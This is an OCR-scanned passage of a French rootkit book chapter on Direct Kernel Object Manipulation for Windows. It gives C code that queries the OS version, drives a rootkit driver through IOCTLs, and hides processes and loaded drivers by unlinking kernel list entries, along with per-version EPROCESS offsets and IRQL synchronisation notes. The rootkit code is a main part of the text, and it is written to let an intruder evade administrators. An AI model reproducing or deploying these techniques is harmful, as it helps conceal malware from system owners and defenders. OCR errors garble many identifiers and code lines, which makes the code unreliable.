osvi. dwMinorVersion == 0 && \ 
osvi.wServicePackMajor == 3) 

{ 

fprintf (stderr, "Microsoft Windows 2000 SP 3 "); 

II... 

} 


break; 
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Une fois la version du systeme identifiee, le rootkit est actif et il est possible d’ajuster 
les offsets des structures a utiliser avec la technique DKOM. L’importance de ce point 
sera mise en evidence dans la prochaine section. 

Autodetermination du mode noyau 

Les appels API en mode utilisateur introduits precedemment ne constituent pas la 
seule methode permettant d’identifier la version du systeme. Le noyau contient aussi 
une fonction qui donne acces aux informations de version. Sur les systemes Windows 
plus anciens, vous devez appeler PsGetVersion et analyser la chaine Unicode pour 
obtenir les informations de Service Pack. Voici le prototype de la fonction : 

BOOLEAN PsGetVersion( 

PUL0NG Maj orVersion OPTIONAL, 

PULONG MinorVersion OPTIONAL, 

PULONG BuildNumber OPTIONAL, 

PUNICODE_STRING CSDVersion OPTIONAL 

); 

Les versions plus recentes de Windows, telles que XP ou 2003, ont une fonction 
RtlGetVersion . R ile refoit en argument un pointeur vers une structure 0SVERSI0N- 
infow ou 0SVERSI0NINF0EXW, un fonctionnement semblable a Rappel Win32 en mode 
utilisateur decrit plus haut. Le prototype de RtlGetVersion est pratiquement le meme 
que celui de la version Win32 : 

NTSTATUS RtlGetVersion( IN OUT PRTL_0SVERSI0NINF0W lpVersionlnformation ); 

Determination de la version du systeme d'exploitation a partir du Registre 

Le Registre est une mine d’ informations precieuse et peut aussi etre utilise pour 
identifier la version du systeme d’exploitation. Vous pouvez le faire dans le mode 
utilisateur ou a partir du driver dans le mode noyau. Notez que, si vous decidez 
d’interroger le Registre a partir de votre driver, une portion du Registre risque de ne 
pas etre disponible si le driver tente de Rinterroger dans une phase precoce du 
processus de demarrage. 

Voici les cles importantes a interroger : 

H HKEY_LOCAL_MACHINE\S0FTWARE\Microsott\Windows NT\CurrentVer- sion\CSDVersion 
contient la chaine pour le Service Pack. 

■ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVer- 
sion\Cunrent BuildNumber contient le numero de build du systeme. 
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■ HKEY_LOCAL_MACHINE\SOFTWARE\Mierosoft\Windows NT\CurrentVer- 

sion\CurrentVersion contient a la fois les versions majeure et mineure du noyau, 
separees par un point decimal. 

A partir du mode utilisateur, vous pouvez interroger ces cles une fois que vous avez 
re£U le handle approprie en appelant RegQueryValue ou RegQueryValueEx. Le code 
suivant exemplifie 1’ interrogation de ces cles a partir d’un driver : 

// Interroge le Registre pour obtenir la version du systeme d ' exploitation 
RTL_QUERY_REGISTRY_TABLE paramTable[3 ] ; 

UNICODE_STRING ac_csdVersion; 

UNICODE_STRING ac_currentVersion ; 

// Initialise les variables 

RtlZeroMemory(paramTable, sizeof (paramTable) ); 

RtlZeroMemory(&ac_currentVersion, sizeof (ac_currentVersion) ); 
RtlZeroMemory(&ac_csdVersion, sizeof (ac_csdVersion) ) ; 
paramTable[0] .Flags = RTL_QUERY_REGISTRY_DIRECT ; 
paramTable[0] .Name = L"CurrentVersion"; 
paramTable[0] . EntryContext = &ac_currentVersion; 
paramTable[0] .DefaultType = REG_SZ; 
paramTable[0] .DefaultData = &ac_currentVersion; 
paramTable[0] .DefaultLength = sizeof (ac_currentVersion); 
paramTablefl] .Flags = RTL_QUERY_REGISTRY_DIRECT; 
paramTablefl] .Name = L"CSDVersion " ; 
paramTable[l] . EntryContext = &ac_csdVersion; 
paramTablefl] .DefaultType = REG_SZ; 
paramTablefl] .DefaultData = &ac_csdVersion; 
paramTablefl] .DefaultLength = sizeof (ac_csdVersion); 

// Interroge le Registre 

RtlQueryRegistryValues( RTL_REGISTRY_WINDOWS_NTj 
NULL, 

paramTable, 

NULL, 

NULL ); 

// Faire quelque chose ici avec les donnees si la requete reussit. 

// Cela peut inclure 1 ' initialisation de certaines variables globales // pour 
Stocker le numero de Service Pack, etc. 

// Libere les chaines UNICODE_STRING creees par la requete. 
RtlFreeUnicodeString(&ac_currentVersion); 

RtlFreeUnicodeString(&ac_csdVersion) ; 

Comme vous pouvez le voir, vous disposez de differentes methodes pour connaitre la 
version du systeme d’ exploitation. Celle que vous choisirez dependra du type de 
rootkit que vous implementez. 

Dans la prochaine section, nous verrons comment communiquer des informations au 
driver, telles que les numeros de version, a partir de la portion en mode utilisateur. 
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Communication avec un driver a partir du mode utilisateur 

Si vous utilisez un processus en mode utilisateur pour passer des commandes et des 
informations de controle ou des donnees d’ initialisation a un rootkit implements sous 
forme de driver, il vous faudra utiliser des codes de controle d’E/S (IOCTL). Ces 
codes sont transports dans des paquets de requetes d’E/S (IRP) si le code IRP 

estIRP_MJ_DEVICE_CONTROL OU IRP_MD_INTERNAL_DEVICE_CONTROL . 

Le processus et le driver doivent s’accorder sur le type des IOCTL. C’est generalement 
accompli au moyen d’un fichier d’en-tete partage. Le fichier d’en-tete peut ressembler 
a ce qui suit : 

// Fichier ioctlcmd.h utilise par un processus utilisateur 

// et un driver pour s'accorder sur les IOCTL a utiliser. II doit 

// etre inclus dans le code utilisateur et celui du driver. 

#def ine FILE_DEV_DRV 0x00002a7b 

///////////////////////////////////////////////////////////////// 

III 

// Ce sont les IOCTL a utiliser par le driver et le programme utilisateur. // 
Celui-ci envoie les IOCTL au driver // a l'aide de DeviceIoControl( ) 

#def ine IOCTL_DRV_INIT (ULONG) CTL_C0DE(FILE_DEV_DRV, 0X01, 

METHOD_BUFFERED, 

FILE_WRITE_ACCESS) 

#define IOCTL_DRV_VER (ULONG) CTL_CODE(FILE_DEV_DRV ;1 0X02 J 

METHOD_BUFFERED, FILE_WRITE_ACCESS) 
#define IOCTL_TRANSFER_TYPE(_iocontrol) (_iocontrol & 0x3) 

Dans cet exemple, il y a deux IOCTL : I 0 CTL_drv_init et ioctl drv ver. Les deux 
emploient la methode de passage d’E/S appelee method buffered. Avec cette methode, 
le gestionnaire d’E/S copie les donnees de la pile utilisateur vers la pile du noyau. En 
se referant au fichier d’en-tete, le programme utilisateur peut utiliser la fonction 
DeviceloControl pour dialoguer avec le driver. Le programme necessite un handle sur 
le driver et le code IOCTL a utiliser. Avant de pouvoir compiler le programme 
utilisateur, vous devez inclure winioctl.h avant votre propre fichier personnalise. h 
contenant vos codes IOCTL. 

L’exemple suivant represente la portion utilisateur du rootkit. Elle inclut winioctl. h 
ainsi que le fichier d’en-tete personnalise avec les IOCTL, ioctlcmd. h. Une fois le 
handle vers le driver recupere, le code passe un IOCTL pour la fonction d’ initialisation 


#include <windows.h> 
#include <stdio.h> 
#include <string.h> 
#include <winioctl.h> 
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#include "fu.h" 

#include . \SYS\loctlcmd . h ' ' int main(void) 

{ 

gh_Device = INVALID_HANDLE_VALUE; II Handle sun le driver du rootkit. 

II Ouvre ici un handle sur le driver. Voir le Chapitre 2 pour les details, 
if ( ! DeviceIoControl(gh_Device, 

IOCTL_DRV_INIT, 

NULL, 

0 , 

NULL, 

0 , 

&d_bytesRead, 

NULL)) 

{ 

fprintf (stderr, "Error Initializing Driver. \n"); 

} 

} 

Dans la fonction DriverEntry du rootkit, vous devez creer l’objet peripherique avec le 
nom associe et le lien symbolique vers le peripherique et definir la table MajorFunction 
dans le driver avec les pointeurs vers toutes les fonctions qui gereront les differents 
types de irp_md_*. Nous avons couvert ce sujet au Chapitre 2. Nous allons les revoir 
brievement ici. 

L’objet peripherique et le lien symbolique doivent etre crees de maniere que la portion 
en mode utilisateur du rootkit puisse ouvrir un handle sur le driver. Dans le code 
suivant, RootkitDispatch gere le type IRP_M1_DEVICE_C0NTR0L, qui est 1’IRP utilise 
lorsque la portion en mode utilisateur envoie un IOCTL au driver a l’aide de la 
fonction DeviceloControl. II est egalement possible de specifier des fonctions pour 
gerer le plug-and-play, l’ouverture, la fermeture, le dechargement et d’autres 
evenements, mais cela sortirait du cadre de notre discussion. 


const WCHAR deviceLinkBufferf ] = L"\\DosDevices\\msdirectx"; 
const WCHAR deviceNameBuffer[ ] = L”\\Device\\msdirectx" ; 
NTSTATUS DriverEntry(IN PDRIVER_0B2ECT DriverObject, 

IN PUNIC0DE_STRING RegistryPath) 


NTSTATUS ntStatus; 

UNIC0DE_STRING deviceNameUnicodeString; 

UNIC0DE_STRING deviceLinkUnicodeString; 

// Definit le nom de peripherique et le lien symbolique 
RtUnitUnicodeString (&deviceNameUnicodeString, 

deviceNameBuffer ); 

RtUnitUnicodeString (&deviceLinkUnicodeString, 

deviceLinkBuffer ); 
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II Cnee le peripherique 

ntStatus = IoCreateDevice ( DriverObject , 

0, II Pour l'extension du driven 
&deviceNameUnicodeString, II Nom de 

' «peripherique 

FILE_DEV_DRV, 

0, 

TRUE, 

&g_Root kit Device ); if ( ! 

NT_SUCCESS( ntStatus)) 

{ 

DebugPrint(("Failed to create device!\n”)); 
return ntStatus; 

} 

// Cree le lien symbolique 

ntStatus = IoCreateSymbolicLink (&devicel_inkUnicodeString, 

&deviceNameUnicodeString ); 

if ( ! NT_SUCCESS(ntStatus) ) 

{ 

IoDeleteDevice(DriverObj ect->DeviceObj ect); 

DebugPrint("Failed to create symbolic link!\n"); 
return ntStatus; 

} 

// Cree un pointeur vers notre gestionnaire d'IRP pour // l'IRP 
IRP_M1_DEVICE_C0NTR0L appele. Ce pointeur // est pour la table de 
pointeurs de fonctions dans le driver. DriverObj ect->Maj 
orFunction[IRP_Ml_DEVICE_CONTROL] = 

RootkitDispatch; 


} 

La fonction RootkitDispatch est decrite ci-apres. Elle obtient d’abord l’emplacement 
actuel de la pile de l’IRP pour pouvoir recuperer les tampons d’entree et de sortie et 
d’autres informations essentielles. La pile de l’IRP contient le code de la fonction 
majeur de l’IRP. Souvenez-vous, il s’agit de irp md device control pour les IOCTL 
provenant de notre processus utilisateur. Les autres donnees importantes dans la pile 
de l’IRP sont les codes IOCTL. Ce sont les codes de controle de ioct- lcmd. h 
mentionnes plus haut. Comme deja indique, ils doivent etre identiques pour le code du 
driver et celui du mode utilisateur. 


NTSTATUS RootkitDispatch (IN PDEVICE_0BUECT DeviceObject, 

IN PIRP Irp) 


PI0_STACK_L0CATION irpStack; 

PV0ID inputBuffer; 

PV0ID outputBuffer; 

UL0NG inputBufferLength; 
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ULONG outputBufferLength ; 

ULONG ioControlCode; 

NTSTATUS ntstatus; 

II Definit la requete comme etant reussie ntstatus = Irp- 
>IoStatus. Status = STATUS_SUCCESS; 

Irp->IoStatus . Information = 0; 

// Obtient un pointeur vers 1 'emplacement courant dans l’IRP. 

// C'est l'endroit ou se trouvent le code de fonction // et les 
parametres . 

irpStack = IoGetCurrentlrpStackLocation (Irp); 

// Obtient le pointeur vers le tampon d'E/S et sa longueur inputBuffer = 

Irp->AssociatedIrp.SystemBuffer; 

inputBufferLength = irpStack- 

>Parameters.DeviceloControl.InputBufferLength; outputBuffer 

Irp->AssociatedIrp.SystemBuffer; 

outputBufferLength = irpStack- 

>Parameters.DeviceloControl. OutputBufferLength; ioControlCode 
irpStack- 

>Parameters.DeviceloControl. IoControlCode; switch (irpStack- 
>MajorFunction) { case IRP_M1_CREATE : break; 
case IRP_MJ_CLOSE : 
break; 

// Ces IRP nous interessentj 

// ils viennent de la portion en mode utilisateur, 
case IRP_MJ_DEVICE_CONTROL : switch (ioControlCode) { 
case IOCTL_DRV_INIT : 

// Inserez du code pour initialiser le rootkit 

// si necessaire. 

break; 

case IOCTL_DRV_VER : 

// Retournez les informations de version du rootkit 

// si vous le souhaitez. 

break; 

} 

break; 

} 

IoCompleteRequest( Irp, I0_N0_INCREMENT ); 
return ntstatus; 

} 

Vous devriez maintenant avoir compris comment communiquer avec un driver, votre 
rootkit, a partir d’un processus en mode utilisateur. Tout cela n’etait toutefois que la 
partie ennuyeuse. Voyons maintenant ce qu’un rootkit dans le noyau peut faire avec la 
technique DKOM. 
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Dissimulation d'objets du noyau avec DKOM 

Tous les systemes d’ exploitation stockent des informations de reporting en memoire, 
generalement sous forme de structures ou d’objets. Lorsqu’un processus utilisateur 
demande au systeme certaines informations, telles qu’une liste de processus, de threads 
ou de drivers, ces objets sont renvoyes a l’utilisateur. Puisqu’ils sont en memoire, vous 
pouvez les alterer directement. II n’est pas necessaire de hooker l’appel API ni de 
filtrer la reponse. 

Dissimulation de processus 

Les systemes d’ exploitation Windows NT/2000/XP/2003 gerent des objets Executive 
qui decrivent les processus et les threads. Ces objets sont references par Taskmgr.exe et 
d’autres outils de reporting pouvant lister les processus qui s’executent sur la machine. 
Par exemple, ZwQuerySystemlnformation utilise ces objets pour lister les processus 
actifs. Si vous comprenez le role de ces objets, vous pouvez les modifier pour masquer 
des processus, elever le niveau de privileges de processus ou apporter d’autres 
changements. 

La liste des processus actifs est obtenue en parcourant une liste doublement chainee 
referencee dans la structure eprocess de chaque processus. Plus particulierement, cette 
structure contient une structure list entry contenant les membres flink et blink. Ce 
sont deux pointeurs vers les processus voisins situes juste avant et juste apres le 
descripteur de processus courant. 

Pour cacher un processus, vous devez comprendre la structure de eprocess. La 
premiere chose a faire est d’en recuperer une en memoire. Sachez qu’elle change 
pratiquement a chaque nouvelle release du systeme d’ exploitation, mais vous pourrez 
toujours recuperer un pointeur vers le processus actif courant en appelant 
PsGetCurrentProcess et en obtenir sa structure EPROCESS. Cette fonction est en fait un 
alias pour la fonction loGetCurrentProcess. Si vous desassemblez cette fonction, vous 
verrez qu’il ne s’agit que de deux assignations et d’un retour : 

mov eax, fs : 

0x00000124; mov eax, 

[eax + 0x44]; ret 

Pourquoi ce code fonctionne-t-il ? Windows possede un bloc de controle de processeur 
appele KPRCB (Kernel Processor Control Block) qui est unique et se trouve a 
l’adresse 0 xffdffi 20 dans l’espace du noyau. Le code assembleur pour ioGetcur- 
rentProcess va a 1’ offset 0x124 apartirdu registre fs. C’ est le pointeur vers le bloc 
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ethread courant. A partir de ce bloc, nous pouvons suivre le pointeur de la structure 
kthread vers le bloc eprocess du processus actuel. Nous parcourons ensuite la liste 
doublement chainee des blocs eprocess jusqu’a ce que nous trouvions le processus 
que nous desirons cacher (voir Figure 7.1). 


Figure 7.1 
Cheminement 
depuis le bloc 
KPRCB jusqu'a la 



Une maniere de trouver un processus est d’utiliser son identifiant appele le PID 
(.Process Identifier). Ce PID se trouve a un certain offset dans eprocess, qui varie 
selon la version du systeme. C’est la que la determination de version realisee plus 
haut entre enjeu. Le Tableau 7.1 recapitule les divers offsets par version de systeme 
d’ exploitation. 


Tableau 7.1 : Offsets vers le PID et FUNK dans le bloc EPROCESS 



Windows NT 

Windows 2000 

Windows XP 

Windows XP SP2 

Windows 2003 

Offset 

0x94 

0x9C 

0x84 

0x84 

0x84 

de PID 






Offset 

0x98 

0xA0 

0x88 

0x88 

0x88 

de FLINK 
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L’ extrait de code suivant utilise ces offsets pour parcourir la liste chainee des 
processus jusqu’a trouver un certain PID. La fonction retoume l’adresse du bloc 
EPROCESS demande par la variable terminate PlD : 

// FindProcessEPROC repoit le PID du processus a trouver 

// et retourne l'adresse du bloc EPROCESS pour le processus voulu. 

DWORD FindProcessEPROC (int terminate_PID) 

{ 

DWORD eproc = 0x00000000; 

int current_PID = 0; 

int start_PID = 0; 

int i_count = 0; 

PLIST_ENTRY plist_active_procs; 
if (terminate_PID == 0) return 
terminate_PID; 

// Recupere l'adresse du bloc EPROCESS courant 
eproc = (DWORD) PsGetCurrentProcessQ; start_PID 
= *((int *)(eproc+PIDOFFSET)); current_PID = 
start_PID; while(l) 

{ 

if (terminate_PID == current_PID) // Trouve return eproc; 
else if((i_count >= 1) && (start_PID == current_PID) ) 

{ 

return 0x00000000; 

} 

else { // Avance dans la liste 

plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); 

eproc = (DWORD) plist_active_procs->Flink; 

eproc = eproc - FLINKOFFSET; 

current_PID = *((int *)(eproc+PIDOFFSET)); 

i_count++; 

} 


Cacher un processus par son PID n’est pas toujours une methode pratique. Puisque les 
PID sont choisis pseudo-aleatoirement, il est plus fiable pour un rootkit de masquer un 
processus par son nom. Le nom de processus est egalement trouve dans le bloc 
eprocess sous forme d’une chaine de caracteres (un array). Pour trouver son offset 
dans eprocess, vous pouvez appeler la fonction suivante a partir de la fonction 
DriverEntry du rootkit : 

ULONG GetLocationOfProcessName( ) 

{ 

ULONG ul_offset; 

PEPROCESS CurrentProc = PsGetCurrentProcessQ; 
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II Cette methode echoue si la taille du bloc EPROCESS II 
depasse celle de la page. 

fon(ul_offset = 0; ul_offset < PAGE_SIZE; ul_offset++) 

{ 

if( !strncmp( "System", (PCHAR) CurrentProc + ul_offset, 
stnlen ( "System" ) ) ) 

{ 

return ul_offset; 

} 

} 

return (ULONG) 0; 

} 

GetLocationOf ProcessName retoume l’offset dans EPROCESS du nom de processus. Cela 
fonctionne car DriverEntry est toujours appele par le processus System si le driver a 
ete charge en utilisant le Gestionnaire de controle de services, le SCM (Sendee 
Control Manager). Cette fonction scanne la memoire de la structure eprocess 
courante en recherchant la chaine "System". Lorsqu’elle est trouvee, la fonction 
retoume 1’ offset — cette technique a ete d’abord trouvee par Sysintemals et est 
utilisee par de nombreux outils de la societe. Vous pouvez modifier FindProcessEPROC 
afin de rechercher le processus par son nom plutot que par son PID. 

N’oubliez toutefois pas que les noms de processus ne sont pas uniques. Le nom a 
Linterieur de la structure eprocess est une chaine de 16 octets ne representant 
generalement que les 16 premiers caracteres du nom du fichier binaire sur disque 
contenant le code. Seul le PID identifie de fagon unique un processus. 

Une fois que vous avez trouve le bloc eprocess du processus a cacher, vous devez 
changer la valeur du pointeur flink du bloc eprocess qui le precede et le pointeur 
blink de celui qui le suit pour maintenir la coherence de la liste chainee. Pour cela, 
donnez-leur respectivement la valeur des pointeurs flink et blink du bloc a 
dissi muler (voir Figure 7.2). 

Le code suivant appelle FindProcessEPROC pour trouver le bloc EPROCESS specific par 
pid_to_hide. Elle change ensuite le bloc eprocess retoume afin de le retirer de la liste 
chainee : 

DWORD eproc = 0; 

PLIST_ENTRY plist_active_procs; 

// Trouve le EPROCESS a dissimuler eproc 
= FindProcessEPROC (PID_TO_HIDE); if 
(eproc == 0x00000000) 

return STATUS_INVALID_PARAMETER; 
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plist_active_procs = ( LIST_ENTRY *) (eproc+FLINKOFFSET ) ; 

II Change FLINK et BLINK dans le bloc precedant II et le 
bloc suivant EPROCESS, respectivement . 

*( (DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; 
*((DW0RD *)plist_active_procs->Flink+l ) = (DWORD) plist_active_procs->Blink; 
// Change les pointeurs FLINK et BLINK du processus cache // pour qu'une fois 
dereferences ils pointent vers une zone valide // de la memoire. 
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); 
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); 


Figure 7.2 
Illustration de la 
liste de processus 
actifs apres la 
dissimulation de 



Si le bloc eprocess est trouve, le code modifie, comme introduit precedemment, les 
pointeurs flink et blink des blocs contigus. 

Notez que les deux demieres lignes changent les pointeurs flink et blink du 
processus masque de manicrc a les faire pointer vers eux-nremes. Si cela n’etait pas 
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fait, le rootkit pourrait produire un plantage avec ecran bleu en quittant le processus. 
Cela est du a la fonction privee de noyau PspExitProcess . 

Comme vous pouvez l’imaginer, lorsqu’un processus est detruit, la liste chainee des 
processus doit etre mise a jour pour refleter les changements. C’est pour cela que les 
pointeurs de voisinage des blocs contigus ont ete modifies. Mais qu’ arrive -t-il au 
processus cache lorsque l’un des voisins quitte ? Un des pointeurs ne referencerait 
alors plus un processus valide, voire meme une region memoire valide. Pour eviter 
cela, les deux demises lignes du code modifient les pointeurs pour qu’ils se 
references eux-memes. Ainsi, ils sont toujours valides lorsque PspExitProcess est 
appele. 


Notes sur la planification d'execution de processus 

De prime abord, on pourrait penser que la dissimulation d'un processus en enlevant 
son descripteur de la liste chainee des blocs EPROCESS 1 'empecherait de se voir 
allouer une tranche de temps dans laquelle s'executer. Nous avons pu observer que 
cela n'etait pas le cas. L'algorithme de planification de Windows est tres 
complexes execute avec une granularity de niveau thread et integrant un systeme de 
priorites et de preemption. Ainsi, un thread est prevu pour etre execute pendant 
un certain quantum de temps, qui est l'intervalle s'ecoulant avant que le systeme 
n'interrompe 1' execution du thread pour verifier s'il existe d'autres threads de 
priority egale ou superieure qui necessiteraient de reduire le niveau de priority 
du thread courant. Un processus peut posseder plusieurs threads d'execution, 

rhprnn H'oiiy otant ponnoconfo nap lino ctnirtnro FTHRFAH 

Dans la prochaine section, nous vous presentons une technique similaire pour masquer 
des drivers. A l’instar des processus, ils sont egalement stockes sous forme d’une liste 
doublement chainee dans le noyau. 

Dissimulation de drivers 

II s’agit d’une etape egalement importante d’un rootkit. L’un des premiers endroits que 
1’ administrates examinera s’il suspecte un intrus est la liste des drivers. L’utilitaire 
Drivers, exe du kit de ressources de Microsoft est l’outil qu’un administrates peut 
utiliser pour lister les drivers d’un systeme. D’autres outils, tels que le Gestionnaire de 
peripheriques, ou WDM (Windows Device Manager), permettent egalement d’ afficher 
des informations sur les drivers. Outre ces outils, de nombreux fabricants tiers 
foumissent less propres utilitaires. 

Tous ces outils s’appuient sur la fonction de noyau ZwQuerySystemlnformation. Cette 
fonction, avec une valeur 11 pour le parametre system information class. 
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retoume la liste des modules charges dans le noyau. Si vous avez lu les chapitres 
precedents, cette fonction devrait vous sembler familiere. C’est elle qui a ete hookee 
au Chapitre 4 dans la section sur le hooking de la table SSDT pour dissimuler des 
processus, sauf que nous recherchions une classe d’une autre categorie. 

Dans cette section, nous allons vous mettre dans la peau d’un attaquant modifiant la 
liste doublement chainee de modules charges, qui inclut votre rootkit, en utilisant la 
technique DKOM sans hook du noyau, comme nous l’avons fait dans la section 
precedente. 

L’objet module_entry est utilise par le noyau pour garder trace des drivers en memoire. 
Notez que le premier membre de la structure est de type list entry. Nous avons vu 
precedemment comment de telles entrees fonctionnent et comment les alterer pour 
faire disparaitre un element de la chaine. 

// Entree de module non documentee dans la memoire du noyau 

// 

typedef struct _M0DULE_ENTRY { 

LIST_ENTRY module_list_entry; 

DWORD unknownl[4] ; 

DWORD base; 

DWORD driver_start; 

DWORD unknown2; 

UNICODE_STRING driver_Path; 

UNICODE_STRING driver_Name; 

II.. . 

} M0DULE_ENTRY, *PM0DULE_ENTRY; 

L’astuce consiste ici a trouver la liste chainee. Dans le cas des processus, c’est une 
operation simple car vous pouvez toujours obtenir le bloc eprocess du processus 
courant en appelant PsGetCurrentProcess. En revanche, il n’y a pas d’appel de ce 
genre pour obtenir la liste des drivers. 

Certains ont tente de la rechercher en memoire, mais cette solution est loin d’etre 
optimale. Lorsque Eon inspecte la memoire pour essayer de trouver des fonctions qui 
referencent la liste, il est courant d’utiliser une signature. Toutefois, ces fonctions 
changent selon le systeme d’ exploitation. Dans Windows XP et les versions 
ulterieures, le bloc KPRCB ( Kernel Processor Control Block) contient des 
informations supplementaires au sein desquelles vous pouvez localiser la liste des 
drivers, mais ce n’est pas une solution viable si votre rootkit est installe sur des 
versions anterieures du systeme d’ exploitation. 
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Nous avons elabore une methode qui perrnet de trouver 1’ emplacement de cette liste. A 
l’aide de WinDbg, nous pouvons afficher les membres de la structure driver object. 
Les voici : 

typedef struct _DRIVER_OBJECT { 


short 

Type; 

// 

Int2B 

short 

Size; 

// 

Int2B 

PVOID 

DeviceObject; 

// 

Ptr32 DEVICE OBJECT 

DWORD 

Flags; 

// 

Uint4B 

PVOID 

DriverStart; 

// 

Ptr32 Void 

DWORD 

DriverSize; 

// 

Uint4B 

PVOID 

DriverSection; 

// 

Ptr32 Void 

PVOID 

DriverExtension; 

// 

Ptr32 DRIVER EXTENSION 

UNICODE STRING DriverName; 

// 

UNICODE STRING 

UNICODE STRING HardwareDatabase; 

// Ptr32 UNICODE STRING 

PVOID 

FastloDispatch; 

// 

Ptr32 FAST 10 DISPATCH 

PVOID 

Driverlnit; 

// 

Ptr32 

PVOID 

DriverStartlo; // Ptr32 

PVOID 

DriverUnload; // 


Ptr32 PVOID MajorFunction // [28] Ptr32 } DRIVER_OBJECT, 

*PDRIVER_OBJECT ; 

L’un des champs non documentes de cette structure est un pointeur vers la structure 
module_entry du driver. II est a 1’ offset 0x14 dans driver_object, ce qui ferait de lui le 
membre DriverSection de cette structure. En chargeant votre rootkit a l’aide du 
Gestionnaire de controle de services (SCM), vous obtenez toujours un pointeur vers 
l’objet DRIVER OBJECT dans la fonction DriverEntry. Le code suivant illustre comment 

trouver une entree arbitraire dans la liste des modules actifs : 

DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject) 

{ 

PM0DULE_ENTRY pm_current; if (DriverObject == NULL) 
return 0; 

// Dereference l'offset 0x14 dans l'objet driver. 

// Vous devriez maintenant avoir l'adresse d'une entree de module. 
pm_current = *( (PM0DULE_ENTRY*) ( (DWORD)DriverObject + 0x14)); if 
(pm_current == NULL) return 0; 

gul_PsLoadedModuleList = pm_current; return (DWORD) pm_current; 

} 

Une fois que vous avez trouve une entree dans la liste de modules, vous pouvez 
parcourir la liste jusqu’a ce que vous trouviez le driver a dissimuler. Ensuite, c’est juste 
une affaire de changement des pointeurs de voisinage funk et blink, comme 
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nous l’avons vu dans la section precedente. Cette methode de dissimulation est 
illustree a la Figure 7.3 et dans F extrait de code suivant : 

PMODULE_ENTRY pm_current; 

UNICODE_STRING uni_hide_DriverName; 

// Nous parcourons la liste de drivers sans synchronisation // pour plusieurs 
threads. Nous ne pouvons elever le niveau d'IRQL a // DISPATCH_LEVEL car nous 
utilisons RtlCompareUnicodeString qui doit // etre appele au niveau 
PASSIVE_LEVEL. pm_current = gul_PsLoadedModuleList; 

while ( (PMODULE_ENTRY)pm_current->le_mod. Flink ! =gul_PsLoadedModuleList) 

I 

if ( (pm_current->unkl != 0x00000000) && (pm_current->driver_Path . Length != 

0 ) 

{ // Compare le nom de la cible a celui de chaque driver 

if (RtlCompareUnicodeString(&uni_hide_DriverNamej & A (pm_current- 
>driver_Name ) , 

FALSE) == 0) 

{ // Modifie les voisins 

*( (PDWORD)pm_current->le_mod . Blink)=(DWORD) 

*»pm_current->le_mod . Flink; 

pm_current->le_mod. Flink->Blink = pm_current->le_mod . Blink; break; 

} 

} // Avance dans la liste 

pm_current = (MODULE_ENTRY*)pm_current->le_mod . Flink; 


Figure 7.3 
La liste des entrees 
de drivers dans la 
liste doublement 
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Dans l’extrait de code precedent, pm current est utilise pour parcourir la liste et 
rechercher le driver a dissimuler, uni_hide_DriverName. Pour chaque module dans la 
liste, la chaine Unicode ciblee est comparee a celle qui est analysee dans la liste. Si les 
noms correspondent, les pointeurs funk et blink des structures MODULE_ENTRY 
contigues sont modifies. 

Dans cet exemple, nous n’apportons aucun changement au module dissimule comme 
nous l’avons fait pour le processus. C’est un choix discutable qui repose sur le fait que 
les drivers ne sont generalement pas charges et decharges comme des processus. La 
modification n’est done probablement pas requise. 

Notez que la fonction qui compare les chaines Unicode doit etre appelee au niveau 
passive level. L’importance de ce point est examinee dans la section suivante. 

Question de synchronisation 

Parcourir la liste chainee des processus actifs en utilisant directement la structure 
eprocess est une operation delicate, comme Test celle d’inspection de la liste des 
modules charges. Les processus peuvent etre crees et detruits par le noyau pendant que 
le contexte du rootkit est en attente ou par un autre processeur si le rootkit est sur un 
systeme multiprocesseur. De meme, un driver peut aussi etre decharge pendant que le 
contexte du rootkit attend de pouvoir s’ executer. 

Pour parcourir la liste des processus d’une maniere securisee, votre rootkit devrait 
recuperer le mutex approprie, PspActiveProcessMutex. Ce mutex n’est pas exporte par 
le noyau. C’est PsLoadedModuleResource qui controle faeces a la liste des drivers. 

Une fag on de trouver ces symboles, ou d’autres, qui ne sont pas exportes est 
d’ inspecter la memoire pour rechercher une sequence parti culi ere. Cette solution n’est 
pas tres elegante mais des preuves empiriques ont suggere sa viabilite. L’ inconvenient 
d’ explorer la memoire est que la sequence recherchee est tres dynamique et differe 
meme avec la plus faible variation du systeme d’ exploitation. 

La traversee et la modification de ces listes deviennent perilleuses seulement en cas de 
preemption, lorsque le rootkit est mis en attente par l’entree en activite d’un autre 
thread dans un autre processus. C’est le dispatcheur de noyau qui est responsable de 
cette gestion, et il s’ execute avec un IRQL dispatch level. Par consequent, si un 
thread est execute avec ce meme niveau, il ne devrait pas etre touche 
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par le mecanisme de preemption. Toutefois, d’autres threads peuvent s’executer sur 
d’autres processeurs de la machine. Aussi, pour eviter la preemption, il faut elever tous 
les processeurs au niveau dispatch_level. Les seuls IRQL superieurs a ce niveau sont 
ceux de peripheriques, les DIRQL (Device IRQL), mais ils servent au traitement des 
interruptions materielles. Done, si nous elevons 1’IRQL de tous les processeurs a 
dispatch_leveLj nous beneficions d’une securite relativement bonne. 

Vous devez faire attention a ce que votre rootkit fait au niveau dispatch_level. 
Certaines fonctions ne peuvent pas etre appelees a un tel niveau d’IRQL. Aussi, votre 
rootkit ne devrait pas acceder a de la memoire qui a ete paginee vers le disque sous 
peine de provoquer un plantage avec un ecran bleu. 

Votre rootkit aura besoin de variables globales pour savoir oil il en est dans son 
processus d’elevation des processeurs a ce niveau et pour signaler quand il quitte. Nous 
les appellerons AllCPURaised et NumberOfRaisedCPU. La variable AllCPU- Raised agit 
comme une valeur booleenne. Lorsqu’elle est egale a 1, tous les processeurs ont ete 
promus au niveau dispatch level, ce qui signale en meme temps aux threads qu’ils 
peuvent quitter. NumberOfRaisedCPU indique le nombre total de processeurs promus. 
Utilisez la fonction interlockedxxx pour changer ces variables de maniere atomique. 

Dans le code principal de notre rootkit, nous devons elever 1’IRQL auquel il s’ execute. 
Appelez KeGetcurrentlrql pour determiner le niveau actuel. C’est seulement s’il est 
inferieur a DISPATCH_LEVEL qu’il faudra appeler KeRai- sel rql. 

Si le nouvel IRQL est inferieur a 1’IRQL courant, un controle de debugging se 
produira. 

Voici le code qui eleve le thread actuel du rootkit a dispatch level : 

KIRQL Currentlrql, Oldlrql; 

// Teste et eleve au besoin l'IRQL 
